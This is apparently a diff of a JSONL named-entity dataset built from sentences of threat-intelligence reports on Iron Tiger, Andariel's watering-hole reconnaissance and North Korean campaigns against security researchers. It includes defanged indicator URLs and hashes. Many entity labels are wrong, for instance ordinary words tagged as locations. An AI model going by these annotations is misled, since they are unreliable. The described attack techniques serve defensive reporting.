@@ {"id":7142,"text":"Multiple infection vectors have been attributed to this threat actor in the past: Watering holes","entities":[],"relations":[],"Comments":[]} {"id":7143,"text":"Weaponized documents exploiting the Dynamic Data Exchange (DDE) method Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor Exploitation of the CVE-2019-0604 vulnerability in Sharepoint Supply chain attack that compromises a chat software installer, Able Desktop Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server","entities":[{"id":22321,"label":"attack-pattern","start_offset":36,"end_offset":57},{"id":22322,"label":"threat-actor","start_offset":138,"end_offset":146},{"id":22323,"label":"location","start_offset":216,"end_offset":222},{"id":22324,"label":"location","start_offset":255,"end_offset":259},{"id":22325,"label":"location","start_offset":342,"end_offset":347},{"id":22326,"label":"location","start_offset":381,"end_offset":384},{"id":22327,"label":"identity","start_offset":404,"end_offset":413},{"id":22328,"label":"location","start_offset":414,"end_offset":422}],"relations":[],"Comments":[]} {"id":7144,"text":"During our investigation, we found some old samples that fit in these categories but have not been reported.","entities":[],"relations":[],"Comments":[]} -{"id":7145,"text":"They are unrelated to this campaign and can be found in our IOC list.","entities":[{"id":22329,"label":"location","start_offset":5,"end_offset":8},{"id":22330,"label":"location","start_offset":27,"end_offset":35},{"id":22331,"label":"location","start_offset":36,"end_offset":39},{"id":22332,"label":"location","start_offset":40,"end_offset":43},{"id":22334,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]} {"id":7146,"text":"Targets","entities":[],"relations":[],"Comments":[]} {"id":7147,"text":"The closer look into Iron Tiger was prompted because of an incident response investigation involving a Philippine-based gambling company that the group targeted.","entities":[],"relations":[],"Comments":[]} -{"id":7148,"text":"True to form, the Iron Tiger threat actor has targeted the same company for 18 months.","entities":[{"id":22337,"label":"location","start_offset":0,"end_offset":4},{"id":22339,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]} -{"id":7149,"text":"Aside from targeting the same company, Iron Tiger also targeted other countries and industries.","entities":[{"id":22341,"label":"location","start_offset":25,"end_offset":29},{"id":22343,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]} -{"id":7150,"text":"Over the past 18 months, we observed how the group targeted governments, banks, telecommunication providers, and even the energy sector in the Middle East and Southeast Asia.","entities":[{"id":22345,"label":"location","start_offset":73,"end_offset":78},{"id":22346,"label":"location","start_offset":109,"end_offset":112},{"id":22347,"label":"location","start_offset":122,"end_offset":128},{"id":22349,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]} {"id":7151,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]} {"id":7152,"text":"The countries that Iron Tiger has targeted in the past 18 months Timeline","entities":[],"relations":[],"Comments":[]} -{"id":7153,"text":"The following timeline shows different samples found in the same gambling company that Talent-Jump and Trend Micro investigated: July 2019: Operation DRBControl starts October 2019: One HyperBro malware sample found March 2020:","entities":[{"id":22354,"label":"location","start_offset":60,"end_offset":64},{"id":22356,"label":"location","start_offset":99,"end_offset":102},{"id":22363,"label":"location","start_offset":205,"end_offset":211}],"relations":[],"Comments":[]} {"id":7154,"text":"New sample of Type 1 malware variant and a rootkit called Pandora found April 2020: One rootkit sample for hiding files processes, files, and services found October 2020:","entities":[{"id":22365,"label":"location","start_offset":4,"end_offset":10},{"id":22366,"label":"location","start_offset":14,"end_offset":18},{"id":22367,"label":"location","start_offset":37,"end_offset":40},{"id":22368,"label":"attack-pattern","start_offset":43,"end_offset":50},{"id":22372,"label":"attack-pattern","start_offset":88,"end_offset":95},{"id":22373,"label":"location","start_offset":96,"end_offset":102},{"id":22374,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} {"id":7155,"text":"New HyperBro and Pandora samples found December 2020:","entities":[{"id":22376,"label":"malware","start_offset":4,"end_offset":12},{"id":22377,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]} {"id":7156,"text":"One sample of the SysUpdate malware variant found January 2021:","entities":[{"id":22381,"label":"location","start_offset":4,"end_offset":10},{"id":22382,"label":"malware","start_offset":18,"end_offset":27}],"relations":[],"Comments":[]} {"id":7157,"text":"Fast Reverse Proxy (FRP) Linux tool found Conclusion","entities":[{"id":22384,"label":"malware","start_offset":20,"end_offset":23},{"id":22385,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]} -{"id":7158,"text":"This investigation provides more insight into the evolution of Iron Tiger’s toolkit and shows the threat actor’s persistence after targeting the same company for 18 months, as well as expanding its target base to include other companies and sectors in different countries in the Middle East and Southeast Asia.","entities":[{"id":22387,"label":"location","start_offset":84,"end_offset":87},{"id":22388,"label":"location","start_offset":145,"end_offset":149},{"id":22390,"label":"location","start_offset":198,"end_offset":204},{"id":22391,"label":"location","start_offset":237,"end_offset":240},{"id":22393,"label":"location","start_offset":291,"end_offset":294}],"relations":[],"Comments":[]} {"id":7159,"text":"We detailed how Iron Tiger threat actors have updated their tools, adding new features, and slightly changing their tactics, techniques, and procedures (TTPs), notably by using a rootkit to hide its backdoors.","entities":[{"id":22396,"label":"location","start_offset":88,"end_offset":91},{"id":22397,"label":"location","start_offset":137,"end_offset":140},{"id":22398,"label":"attack-pattern","start_offset":179,"end_offset":186}],"relations":[],"Comments":[]} -{"id":7160,"text":"The different campaigns with different versions of the same tools concurrently being used suggest that there might be subgroups for this threat actor, or multiple groups with access to the builders of these tools.","entities":[{"id":22399,"label":"location","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]} {"id":7161,"text":"We expect to see more cases involving four or five files instead of the usual “trident” in the future.","entities":[{"id":22402,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]} -{"id":7162,"text":"The indicators of compromise (IoCs) can be found in this appendix.","entities":[{"id":22403,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":7163,"text":" Tags APT & Targeted Attacks | Articles, News, Reports | Research","entities":[{"id":22404,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]} {"id":7164,"text":"Updated June 18, 2018, 10:05 AM to add new IoC information from IssueMakersLab's July investigation.","entities":[{"id":22406,"label":"TIME","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]} {"id":7165,"text":"We updated it again at 4:30 PM to add a link to IssueMakersLab's website and to add new IoC information.","entities":[{"id":22409,"label":"TIME","start_offset":23,"end_offset":30},{"id":22411,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} {"id":7166,"text":"This research is done in cooperation with IssueMakersLab of South Korea.","entities":[],"relations":[],"Comments":[]} -{"id":7167,"text":"Reconnaissance plays a vital role in criminal operations, and some groups go to great lengths to investigate their targets' systems.","entities":[{"id":22414,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]} -{"id":7168,"text":"A recent example is the Andariel Group, a known branch of the notorious Lazarus Group.","entities":[{"id":22416,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]} {"id":7169,"text":"Last month we tracked new scouting techniques coming from Andariel, which were used mainly against South Korean targets.","entities":[],"relations":[],"Comments":[]} {"id":7170,"text":" Andariel has been quite active these past few months.","entities":[],"relations":[],"Comments":[]} -{"id":7171,"text":"According to South Korean security researchers IssueMakersLab, the group used an ActiveX zero-day exploit for watering hole attacks on South Korean websites last May—they called this “Operation GoldenAxe”.","entities":[{"id":22424,"label":"location","start_offset":26,"end_offset":34},{"id":22427,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]} {"id":7172,"text":"But more recently on June 21, we noticed that Andariel injected their script into four other compromised South Korean websites for reconnaissance purposes.","entities":[],"relations":[],"Comments":[]} -{"id":7173,"text":"We found that the code of the new injected script is similar to the sample Andariel previously used in May.","entities":[{"id":22434,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]} -{"id":7174,"text":"However, the new script was trying to collect different ActiveX object information and targeted objects that it wasn’t attacking before.","entities":[{"id":22437,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} -{"id":7175,"text":"In the earlier case, the group collected targeted ActiveX objects on users’ Internet Explorer browser before they used the zero-day exploit.","entities":[{"id":22438,"label":"location","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]} {"id":7176,"text":"This was possibly part of their reconnaissance strategy, to find the right targets for their exploit.","entities":[],"relations":[],"Comments":[]} -{"id":7177,"text":"Based on this, we believe it's likely that the new targeted ActiveX objects we found could be their next targets for a watering hole exploit attack.","entities":[{"id":22440,"label":"location","start_offset":31,"end_offset":37},{"id":22441,"label":"location","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]} {"id":7178,"text":"To help prevent any damage, we decided to publish our findings before the group deploys the attack.","entities":[],"relations":[],"Comments":[]} {"id":7179,"text":" Figure 1. Watering hole reconnaissance flow Analysis of the Andariel techniques","entities":[{"id":22443,"label":"location","start_offset":20,"end_offset":24},{"id":22444,"label":"threat-actor","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]} {"id":7180,"text":"On June 21, we found that the website of a Korean non-profit organization was compromised with an injected script that collected visitors’ information.","entities":[],"relations":[],"Comments":[]} -{"id":7181,"text":"We also found the same script on three South Korean local government labor union websites.","entities":[{"id":22447,"label":"location","start_offset":18,"end_offset":22},{"id":22450,"label":"location","start_offset":75,"end_offset":80}],"relations":[],"Comments":[]} {"id":7182,"text":"This reconnaissance lasted until 27 June.","entities":[],"relations":[],"Comments":[]} {"id":7183,"text":"We already notified the websites about the compromise.","entities":[],"relations":[],"Comments":[]} -{"id":7184,"text":"We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them.","entities":[{"id":22453,"label":"location","start_offset":104,"end_offset":107},{"id":22454,"label":"location","start_offset":108,"end_offset":117},{"id":22455,"label":"location","start_offset":125,"end_offset":131},{"id":22456,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]} -{"id":7185,"text":"The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects.","entities":[{"id":22457,"label":"location","start_offset":75,"end_offset":79},{"id":22460,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]} -{"id":7186,"text":"The original script is from the PluginDetect Library, and it was also used by exploit kits to verify victims before an attack.","entities":[{"id":22461,"label":"location","start_offset":45,"end_offset":52},{"id":22462,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":7187,"text":"The verification process included sending collected information to another compromised website that hosted their PHP program and was designed to receive the information. Figure 2.","entities":[{"id":22463,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]} -{"id":7188,"text":"Compromised website injected with malicious script that collects information Our colleagues from the IssueMakersLab team shared insights and information about the Andariel group, including that they attacked ActiveX vulnerabilities as far back as 2007.","entities":[{"id":22466,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":7189,"text":"The team monitoring Andariel found that the cybercriminal group injected a malicious script on a South Korean think tank website for reconnaissance in January 2017 and then switched to inject an ActiveX zero-day exploit in mid-April.","entities":[{"id":22472,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} {"id":7190,"text":"IssueMakersLab also listed the ActiveX objects that the Andariel group attacked.","entities":[],"relations":[],"Comments":[]} -{"id":7191,"text":"During analysis, we noticed that the new injected script was trying to detect two additional ActiveX objects that were not on the previous list.","entities":[{"id":22478,"label":"location","start_offset":139,"end_offset":143}],"relations":[],"Comments":[]} -{"id":7192,"text":"One is “DSDOWNCTRL.DSDownCtrlCtrl.1”, which is related to a DRM (Digital Rights Management) software from a South Korean Document Protection Security vendor.","entities":[{"id":22481,"label":"location","start_offset":130,"end_offset":140},{"id":22482,"label":"location","start_offset":141,"end_offset":149},{"id":22483,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]} {"id":7193,"text":"Another is “WSACTIVEBRIDGEAX.WSActiveBridgeAXCtrl.1”, which is related to a South Korea-based voice conversion software company.","entities":[],"relations":[],"Comments":[]} -{"id":7194,"text":"Many local governments and public institutions use these software.","entities":[{"id":22485,"label":"location","start_offset":0,"end_offset":4},{"id":22486,"label":"location","start_offset":23,"end_offset":26},{"id":22487,"label":"location","start_offset":27,"end_offset":33}],"relations":[],"Comments":[]} -{"id":7195,"text":"We made a table to compare the information that the script samples collected in the previous case and this more recent case.","entities":[{"id":22488,"label":"location","start_offset":3,"end_offset":7},{"id":22489,"label":"location","start_offset":93,"end_offset":97},{"id":22490,"label":"location","start_offset":98,"end_offset":101},{"id":22491,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]} -{"id":7196,"text":" Collected Information from Old Script Sample (May 2018) Collected Information from New Script Sample (June 2018)","entities":[{"id":22492,"label":"location","start_offset":41,"end_offset":47},{"id":22494,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]} {"id":7197,"text":"Parameter Meaning Parameter Meaning w Website name w Website name r value r value o OS version o OS version lv HTTP Accept-Language lv HTTP Accept-Language bt Browser Information bt Browser Information bv Browser Information bv Browser Information bdv Browser Information bdv Browser Information fv Flash Version fv Flash Version silv Silverlight Version silv Silverlight Version ez EasyPayPlugin ActiveX Availability ez EasyPayPlugin ActiveX Availability ac ACUBEFILECTRL ActiveX Availability* - - - - mg MagicLoaderX ActiveX Availability - - nv","entities":[],"relations":[],"Comments":[]} {"id":7198,"text":"NVersionMan ActiveX Availability si SIClientAccess ActiveX Availability si SIClientAccess ActiveX Availability du DUZONERPSSO ActiveX Availability du DUZONERPSSO ActiveX Availability iw INIWALLET61 ActiveX Availability - - - - ad admctrl ActiveX Availability","entities":[],"relations":[],"Comments":[]} -{"id":7199,"text":" - dw DSDownCtril ActiveX Availability** - - ab WSActiveBridgeAX ActiveX Availability*** - - ve Voice Conversion Software “WSActiveBridge” WebSocket Availability**** * detection of the previous ActiveX zero-day object ** detection of the ActiveX object related to DRM software (one of the new targets) *** detection of the ActiveX object related to voice conversion software (one of the new targets) **** detection of the WebSocket related to voice conversion software (one of the new targets)","entities":[{"id":22496,"label":"location","start_offset":208,"end_offset":212},{"id":22497,"label":"location","start_offset":213,"end_offset":216},{"id":22498,"label":"location","start_offset":284,"end_offset":287},{"id":22499,"label":"location","start_offset":382,"end_offset":385},{"id":22500,"label":"location","start_offset":476,"end_offset":479}],"relations":[],"Comments":[]} -{"id":7200,"text":"Table 1. Comparison of the information collected by the previous and new script","entities":[{"id":22502,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} {"id":7201,"text":"Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.","entities":[],"relations":[],"Comments":[]} -{"id":7202,"text":"The voice conversion software has websocket service listening on the local host so the injected script can detect the software by checking if they can establish a connection to ports 45461 and 45462, which the software uses.","entities":[{"id":22503,"label":"location","start_offset":75,"end_offset":79},{"id":22504,"label":"location","start_offset":103,"end_offset":106},{"id":22505,"label":"location","start_offset":147,"end_offset":150},{"id":22507,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]} -{"id":7203,"text":"In addition, the verification process in the older script is different from the ActiveX detection, which was only for the Internet Explorer browser.","entities":[{"id":22509,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]} -{"id":7204,"text":"In the script found in June, the websocket verification could also be performed on other browsers like Chrome and Firefox.","entities":[{"id":22511,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":7205,"text":"This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.","entities":[{"id":22512,"label":"location","start_offset":46,"end_offset":52},{"id":22513,"label":"location","start_offset":59,"end_offset":62},{"id":22514,"label":"location","start_offset":100,"end_offset":103},{"id":22515,"label":"identity","start_offset":108,"end_offset":112}],"relations":[],"Comments":[]} -{"id":7206,"text":"Based on this change, we can expect them to start using attack vectors other than ActiveX. Figure 3.","entities":[{"id":22516,"label":"location","start_offset":25,"end_offset":28},{"id":22517,"label":"location","start_offset":36,"end_offset":40},{"id":22518,"label":"location","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]} -{"id":7207,"text":"Script (Deobfuscated) for detecting the voice conversion software ActiveX object and local websocket availability Figure 4.","entities":[{"id":22520,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":7208,"text":"The voice conversion software (WSActiveBridge.exe) is listening on port 45461 and 45462 Reconnaissance is the stage where attackers collect information from potential targets to help them determine what tactics will work.","entities":[{"id":22523,"label":"location","start_offset":78,"end_offset":81},{"id":22524,"label":"location","start_offset":183,"end_offset":187},{"id":22525,"label":"location","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]} -{"id":7209,"text":"These new developments from the Andariel group give us an idea of their plans, although we cannot make specific assumptions about their strategy.","entities":[{"id":22527,"label":"location","start_offset":47,"end_offset":51},{"id":22528,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]} -{"id":7210,"text":"To stay one step ahead of threats like this, we recommend that people use layered security protection in their environments.","entities":[{"id":22530,"label":"location","start_offset":82,"end_offset":90},{"id":22531,"label":"location","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]} -{"id":7211,"text":"Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":22534,"label":"location","start_offset":58,"end_offset":68},{"id":22535,"label":"location","start_offset":76,"end_offset":79},{"id":22537,"label":"location","start_offset":110,"end_offset":113},{"id":22538,"label":"location","start_offset":128,"end_offset":131},{"id":22539,"label":"location","start_offset":193,"end_offset":196}],"relations":[],"Comments":[]} -{"id":7212,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.","entities":[{"id":22541,"label":"location","start_offset":63,"end_offset":66},{"id":22542,"label":"location","start_offset":121,"end_offset":124}],"relations":[],"Comments":[]} -{"id":7213,"text":"Trend Micro™ OfficeScan™ with XGen™ endpoint security","entities":[{"id":22545,"label":"location","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} -{"id":7214,"text":"infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.","entities":[{"id":22546,"label":"location","start_offset":13,"end_offset":21},{"id":22547,"label":"location","start_offset":73,"end_offset":76},{"id":22548,"label":"location","start_offset":122,"end_offset":132}],"relations":[],"Comments":[]} {"id":7215,"text":"Indicators of Compromise (IoC) IoCs Description cfcd391eec9fca663afd9a4a152e62af665e8f695a16537e061e924a3b63c3b9","entities":[{"id":22549,"label":"SHA1","start_offset":49,"end_offset":113}],"relations":[],"Comments":[]} {"id":7216,"text":"Injected Script in May 2018 e0e30eb5e5ff1e71548c4405d04ce16b94c4cb7f8c2ed9bd75933cea53533114 Injected Script in June 2018 67a1312768c4ca3379181c0fcc1143460efcb4bff7a4774c9c775043964c0878","entities":[{"id":22551,"label":"SHA2","start_offset":28,"end_offset":92},{"id":22553,"label":"SHA2","start_offset":122,"end_offset":186}],"relations":[],"Comments":[]} {"id":7217,"text":"Injected Script in 17 July 2018 hxxp:\/\/aega[.]co[.]kr\/mall\/skin\/skin.php","entities":[],"relations":[],"Comments":[]} {"id":7218,"text":"Compromised site (received information May 2018) hxxp:\/\/www[.]peaceind[.]co[.]kr\/board\/icon\/image.php","entities":[],"relations":[],"Comments":[]} {"id":7219,"text":"Compromised site (received information May 2018) hxxp:\/\/alphap1[.]com\/hdd\/images\/image.php Compromised site (received information May 2018) hxxp:\/\/adfamc[.]com\/editor\/sorak\/image.php Compromised site (received information June 2018) hxxp:\/\/adfamc[.[com\/editor\/sorak\/skin.php Compromised site (received information 17 July 2018)","entities":[],"relations":[],"Comments":[]} -{"id":7220,"text":" Tags APT & Targeted Attacks | Endpoints | Research | Network","entities":[{"id":22560,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7221,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":22563,"label":"location","start_offset":59,"end_offset":67},{"id":22565,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]} -{"id":7222,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":22567,"label":"location","start_offset":19,"end_offset":23},{"id":22568,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":7223,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":22570,"label":"location","start_offset":51,"end_offset":59},{"id":22572,"label":"location","start_offset":117,"end_offset":125},{"id":22573,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} {"id":7224,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":22574,"label":"location","start_offset":93,"end_offset":99},{"id":22575,"label":"malware","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]} -{"id":7225,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":22577,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7226,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":22578,"label":"location","start_offset":39,"end_offset":44},{"id":22579,"label":"location","start_offset":93,"end_offset":101},{"id":22580,"label":"location","start_offset":141,"end_offset":144},{"id":22581,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]} -{"id":7227,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":22584,"label":"location","start_offset":79,"end_offset":82},{"id":22585,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]} -{"id":7228,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":22586,"label":"location","start_offset":39,"end_offset":44},{"id":22587,"label":"location","start_offset":80,"end_offset":84},{"id":22588,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} -{"id":7229,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":22589,"label":"location","start_offset":8,"end_offset":12},{"id":22590,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]} -{"id":7230,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":22592,"label":"location","start_offset":27,"end_offset":31},{"id":22593,"label":"location","start_offset":33,"end_offset":41},{"id":22594,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":7231,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":22595,"label":"location","start_offset":66,"end_offset":69},{"id":22596,"label":"location","start_offset":81,"end_offset":84},{"id":22597,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]} {"id":7232,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]} -{"id":7233,"text":"Fake Security Company Website: LinkedIn Profiles: Email: Attacker Owned Domains: Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":22598,"label":"location","start_offset":5,"end_offset":13},{"id":22601,"label":"location","start_offset":180,"end_offset":188},{"id":22602,"label":"location","start_offset":199,"end_offset":207},{"id":22603,"label":"location","start_offset":254,"end_offset":257},{"id":22604,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]} -{"id":7234,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":22605,"label":"location","start_offset":23,"end_offset":31},{"id":22607,"label":"location","start_offset":130,"end_offset":135},{"id":22608,"label":"location","start_offset":139,"end_offset":145},{"id":22609,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]} -{"id":7235,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":22610,"label":"location","start_offset":3,"end_offset":7},{"id":22611,"label":"location","start_offset":13,"end_offset":17},{"id":22612,"label":"location","start_offset":18,"end_offset":22},{"id":22613,"label":"location","start_offset":43,"end_offset":51},{"id":22614,"label":"location","start_offset":61,"end_offset":70},{"id":22615,"label":"location","start_offset":81,"end_offset":84},{"id":22616,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} -{"id":7236,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":22617,"label":"location","start_offset":30,"end_offset":33},{"id":22618,"label":"location","start_offset":47,"end_offset":55},{"id":22619,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":7237,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":22620,"label":"location","start_offset":110,"end_offset":113},{"id":22621,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} {"id":7238,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":22622,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":22623,"label":"location","start_offset":30,"end_offset":33},{"id":22624,"label":"location","start_offset":147,"end_offset":155},{"id":22625,"label":"location","start_offset":169,"end_offset":175},{"id":22626,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]} -{"id":7239,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":22627,"label":"location","start_offset":9,"end_offset":12},{"id":22629,"label":"location","start_offset":141,"end_offset":145},{"id":22630,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]} -{"id":7240,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":22633,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]} {"id":7241,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":22635,"label":"malware","start_offset":80,"end_offset":87},{"id":22636,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]} -{"id":7242,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":22638,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":7243,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":22639,"label":"location","start_offset":26,"end_offset":30},{"id":22641,"label":"location","start_offset":117,"end_offset":121},{"id":22642,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":7244,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":22643,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]} -{"id":7245,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":22644,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} {"id":7246,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":22647,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]} {"id":7247,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]} -{"id":7248,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":22649,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} {"id":7249,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]} -{"id":7250,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":22650,"label":"location","start_offset":115,"end_offset":118},{"id":22651,"label":"location","start_offset":200,"end_offset":203},{"id":22652,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]} -{"id":7251,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":22653,"label":"location","start_offset":7,"end_offset":11},{"id":22654,"label":"location","start_offset":75,"end_offset":78},{"id":22655,"label":"location","start_offset":85,"end_offset":89},{"id":22656,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":7252,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":22657,"label":"location","start_offset":8,"end_offset":12},{"id":22658,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]} -{"id":7253,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":22660,"label":"location","start_offset":75,"end_offset":78},{"id":22661,"label":"location","start_offset":92,"end_offset":98},{"id":22662,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]} {"id":7254,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]} -{"id":7255,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and 